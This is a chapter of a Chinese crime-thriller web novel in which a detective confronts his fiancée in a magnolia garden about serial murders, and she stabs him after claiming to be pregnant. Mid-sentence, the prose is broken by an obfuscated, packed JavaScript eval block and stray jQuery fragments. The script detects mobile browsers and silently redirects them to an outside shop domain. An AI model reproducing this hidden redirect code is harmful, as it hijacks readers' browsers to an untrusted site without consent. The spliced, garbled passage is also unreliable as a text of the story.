几人来到门口,马思明呆滞地坐在石块上,左臂被王勉抬起,进行简单的包扎。
林春雷赶紧给妻子摆摆手,张雪英心领神会,拽着半瘫软的乔耀祖赶紧走。
李越冬将他们的小动作尽收眼底,顾不上深究。他焦躁地拨打电话,得到的回应只有机械的女声。
宇哥到底去哪了?
小马出这么大的事,他怎么不劝劝呢?
简单包扎完毕,王勉半蹲下,仰头观察着马思明的神情。他抬起手,很想抚摸一下她的头发,仅仅是出于安抚。但犹豫再三,他那只手慢慢垂下。
“阿明?”他温柔地叫着她的名字,片刻后才对上她的眼神,“杜队去哪里了?你知道吗?”
“他说去加油了。”
因为哭泣,她的声音还带着鼻腔。
“加油?”
李越冬凑近了她,也跟着蹲下,疑惑涌上他的眉头。
“加油站离这不就二十分钟车程吗?我们来的时候刚加过。”
焦虑和不安替代了原有的恐惧和愤怒,在三人中间蔓延。
“是不是迷路了啊?”
林春雷见气氛不对,小心翼翼地试探。
李越冬缓缓起身,冷声道:“村里还有其他的路吗?”
“有。”林春雷努力扯出笑容,“俺庄这土路都长得差不多,要不......要不我帮忙找找吧?”
几人边走边找,找完了水库找地窖,找完了地窖找马路,一直找到傍晚,又找到田野里。
马思明还未从剧烈的情绪波动中完全平复,机械地跟在几人身后。玉米被收割后,秸秆只剩短短一截,尖锐得仿佛能刺破人的胸膛,她一深一浅地走在田野里,生怕自己一不小心就被戳到。
这时,熟悉的手机铃声从不远的田地传来,在广袤的田地上发出微弱的回响,几人难以辨清方位,大声呼喊杜宇的名字,却没有得到回复。
李越冬继续拨打电话,循着声音四处找了找,发现一片成堆的树,由铁丝构筑成篱笆。
是木兰花园。
马思明惊起一身冷汗,移动的步伐越来越沉重。
铁锈味闯入她的鼻腔,她提起精神,只看到一条红色的小溪,正顺着木兰花园的土地缓缓流淌。
五小时前。
微凉的西风吹不灭杜宇烦躁的心火,他走得很快,几步就走到低矮的土房旁边,熟悉的木兰花味道直冲鼻腔,令他心里更加烦躁。
“你怎么来了?”
杜宇尽量压制住声音里的愤怒,低着半个头,凑近她。
林佳姝嗤笑一声,后退两步拉开距离,摇摇头,“真是奇怪,我家我为什么不能来?”
“那怎么从来没听你说过,你老家在林庄?”
“你也没跟我说过,你跟其他女人走得这么近!”
“是吗?是因为这个吗?还是因为......”
杜宇步步紧逼,眼睛丝毫没有移开爱人秀丽的脸,巨大的爱恨交织,使他的五官发出微小的颤抖。
“因为我们查到这里?”
一丝错愕从林佳姝那双黑亮的眸子里闪过,她眉头轻微皱起。
“你居然这么想我?我不是你的犯人!”
杜宇不再争论,钳住她的手腕就往前走,想要离开整个是非之地。
“你干什么!放手!你弄疼我了!”
两人踉踉跄跄,林庄的土路沾湿了他们的鞋和裤脚。林佳姝一把将他甩开,整个人都在微微颤抖。
“好啊,想知道我的过去,是吗?”
她冷笑着看着他,伸手指了一个方向:“你要来吗?”
杜宇循着那个方向看过去,漫无边际的田野。
“走。”
安静的木兰花园,因为他们的踏入而发出轻微的响声。林佳姝先一步走到那棵大树下,仰着头沉默不说话。
杜宇顺着她的目光,只能看到繁杂的枝叶,将天空切成一片一片。
“你说吧。”
“这里开花的时候很漂亮。”林佳姝的语气幽森。
“林佳姝!”
杜宇将她的身体一把板过来,她的眼眶微红,眼神里满是迷茫和痛苦。
好不容易坚硬起来的心防又开始瓦解,他的眼睑细微地抖动,用锐利的目光武装自己的内心。
“你在调查我,你在怀疑我,是吗?”
她的声音那么动听,每个字都在他即将崩溃的心防上跳动。杜宇松开她,别过脸去。
“......你有没有?”
“什么?”
“有没有杀过人?”
他没有听到对方的回复,艰难地整理自己的情绪,努力保持脸上的稳定。
随即,他回过头,眼神恢复了往日平静甚至冷漠的审视,一个字一个字地说出那些人的名字。
“彭慧、徐清耀、舒朗、沈之星、宗穗、江澄......还有长毛。”
林佳姝错愕片刻,随即扯动嘴角,发出银铃般的笑声。
那笑声太过清脆,在寂静的田野中格外诡异。
杜宇不寒而栗,看向她的眼神变得困惑而惊恐。她笑得前仰后合,甚至伸出一只手抚上小腹。
“你找不到凶手,就怀疑到我头上?你有证据吗?”
反问是另一种意义上的逃避,杜宇对这种转移话题的手段相当了解。
他直直挺立着,像棵松树,语气坚定道:
“我只问你,你有没有?”
“好,是我杀的。”
他瞬间瞪大了双眼,脑海中关于“连环杀人犯”的形象逐渐和温柔的未婚妻重合。
他还要追问,却听到她无奈的声音继续响起:
“还有谁,一起说吧。你还有多少破不了的案子,都安插到我头上好了!”
愤怒和羞辱交替涌上他的心头,他激动道:
“你明知道我不是这个意思!”
“那你是什么意思?”
“小马他们已经查到了,不仅是黑榜案,还有仙女湖案,甚至还有——”
“你相信她不相信我?”
林佳姝有些失态地冲他叫嚷,全然不像平时那样冷静。杜宇看着她,像第一次认识她。
“我要怎么相信你?”
童年杀人,抛尸田野,毒杀校友,潜伏在他身边,策划连环杀人案,阉割成年男人......
每一条拎出来都是重罪。
在这么多巧合面前,他要怎么相信她?
如果这一切都是真的,他算什么呢?
他失控地抓住她的胳膊,力度大得几乎可以把她捏碎。
“告诉我,佳姝,我要怎么相信你?”
“你到底干了什么事?到底瞒了我多少?”
“我们在一起六年!六年!你把我当什么了?”
她脸上霎时间没了血色,愣愣地盯着咆哮的杜宇。
杜宇放开她,泪水盈满他的眼眶,他愤怒地指着旁边的树,质问着她未对自己言说的过去。
“小马已经查到当年长毛案的物证了,就在你觉得很漂亮的这棵树下面!”
“我已经问过乔耀祖了,当年乔招娣喜欢跟你一起玩,是吗?”
“你杀了长毛,为了报复这个欺负过乔招娣的爸爸,嫁祸给他,对吗?”
林佳姝退后两步,像是被他的怒火吓到,微微摇头,脸上带着恐惧和陌生:
“你在说什么?你怎么可以这么想我?”
“告诉我真相!”
林佳姝紧紧闭上眼,像是在逃避。他强硬地跟她面对面,紧紧盯着。
终于,她睁开眼,声音颤抖。
“我没有杀他。”
她的头发被风吹乱,几根发丝凌乱地糊在眼前,眼底涌上来水光。
“当时那个人要侵犯贞姝,贞姝太可怜了,她妈妈是被拐来的,因为她是个女孩,从小被爸爸虐待打,好不容易交了朋友,还差点就被侵犯。”
“我没想害他,可是那种情况......那种情况我不能不帮贞姝啊!即使是成年人,面对□□采取极端手段都是正当防卫,更何况我当时才六岁。”
“他自己跑了,我不知道他跑到哪里去了,我怎么会知道他刚好去了我家的地里,我怎么会知道乔耀祖那个混蛋要去我家的地里收割!”
“我很害怕,每次一到秋天,一到这个时候,我就会做噩梦,梦到我杀了人。”
林佳姝将脸埋在手里,双肩剧烈地颤抖,压抑的哭声像是风的呼喊。
......原来是这样。
是误杀?
他心里一块大石头落了地,大脑飞快盘算着罪责几何,到了法庭怎么开脱。
“吴金升呢?”杜宇继续问,“你袭击了他吗?”
“我没有!”她扬起脸,流着泪争辩,“我根本就不认识他!”
他艰难地控制住自己蠢蠢欲动,想要拥上去的手,试图用这种疏离提醒自己,恢复往常审问的冷静。
他掏出手机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895038|212835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,调出之前吕音查询的车辆行动轨迹:吴金升遇害之前,林佳姝的车曾经出现在佑安医院。
“那这个呢?你怎么解释?”杜宇盯着她的瞳孔,看那刚被泪水浸润过的,黑亮的眸子。
“你去佑安医院的第二天,吴金升就被袭击送进了那里,你是不是去踩点了?”
林佳姝的目光从手机屏幕挪到他的脸上,里面写满了被怀疑的痛苦。
他紧咬着牙关,强迫自己在对视中专业又冷酷,提防那些叫嚣着融化心防的恻隐之心从眼神里流露出。
她转移了视线,轻咬着下唇,泪水划过脸庞流下。
就在他的心防即将轰然倒塌的时候,他听到了她的回复。
“我怀孕了。”
杜宇被钉在原地,像是被雷击中,他后退半步,不自觉地摇摇头,难以置信地看着她。
怀......怀孕?
他的目光转移到她的身上,她的意思是,那平坦的小腹里,正孕育着一个新生命?由他们两人创造的新生命?
她倔强地闭上眼睛,脸上覆盖上一丝耻辱。
......是真的。
杜宇的心揪了起来,刚刚那些可怕的问题被海浪一样的愧疚感覆灭。
林佳姝流下两行清泪,她的身体微微颤抖,他几乎看得到她脸上的绒毛。
“我不知道怎么办,如果在望京检查会被公司知道,我害怕被裁员。所以决定回老家看医生。”
“医生说我心思太重,导致早孕时候身体虚弱,建议我在老家修养一段时间。”
怪不得她在柔术馆的时候那么虚弱,怪不得她不跟其他人一起训练。
“我不知道你最近怎么了,你不回家,也不找我,明明是你说要给我一个家的......”
她的声音越来越小,半垂下头,微微闭着眼睛,第一次将她脆弱的一面展现在他眼前。
“我很害怕,我害怕失去你。”
一连串的话,烟花一样在他的脑海里频频绽放。他再也抑制不住自己的内心,将眼前的人拥入怀中。
“对不起,对不起佳姝,我不该怀疑你。”
温暖的触感立刻填满了他焦灼的内心,熟悉的木兰香瞬间安抚了他不安的情绪。
他的保护欲从来没有一刻这么强烈,他恨不得马上带她离开这里。
她剧烈跳动的心跳通过共振传到他的胸膛,通过声音,他甚至可以感受到孩子的存在。他尽量克制自己的力气,但拥抱却越来越紧,像是要将刚才的裂缝完全弥合。
“你不要害怕,我不会离开你的。”
他感受到脖颈处凉凉的,是她在哭,他感受到怀里的她在颤抖,她很痛苦。
她没有像往常一样温柔地回抱他,她在生他的气吗?
他到底做了什么,他又在怀疑什么?就凭几个似是而非的线索,凭几句颠三倒四的证词,就来怀疑这个和自己在一起六年的女人,这个即将跟自己共度一生的女人。
怪不得她那么生气,怪不得她那么反常,原来是因为......
因为她有了孩子。
“我们现在就回望京!”
他的眼神坚定起来,温柔地畅想美好的未来。
“回去之后就结婚,我会一直陪着你,一直陪着孩子。”
“我们会是幸福的一家人。”
一股力量顶住了他。
他困惑地想要松开她,但那股力量太过强大,尖锐强硬,不容拒绝,狠狠闯入他的胸膛。
杜宇起初不觉得痛,只觉得冷,空气密密麻麻地涌进来——他的肺部穿了个洞。
一切的一切都变得很慢,像是电影中的定格镜头,林佳姝浓密的发丝擦过他的脸颊,睫毛上残存着晶莹的泪水。
他看到她的手搅动了下,那股寒冷带来彻骨的痛,将他吞没。溅出的血喷到她光滑的脸上。
她轻微蹙眉,所有的柔弱消失殆尽,看向他的眼神那么不解,那么惋惜。
“为什么要查那么多呢?”
杜宇仰面倒在地上,怀里还残存着爱人的温度。
他拼尽全力,想要说些什么,整个人却像漏了气的气球,说不出一句话。他瞪大了双眼,涌上来的泪诉说着痛苦和不解,但视线所困,他连爱人的裙角都看不到。
繁杂的枝叶将完整的天空切割,恍惚中,他仿佛看到了盛开的木兰花树:
洁白的木兰花挂在树枝,随风摇摆,那么美好,那么安静,仿佛一切罪恶都和她无关。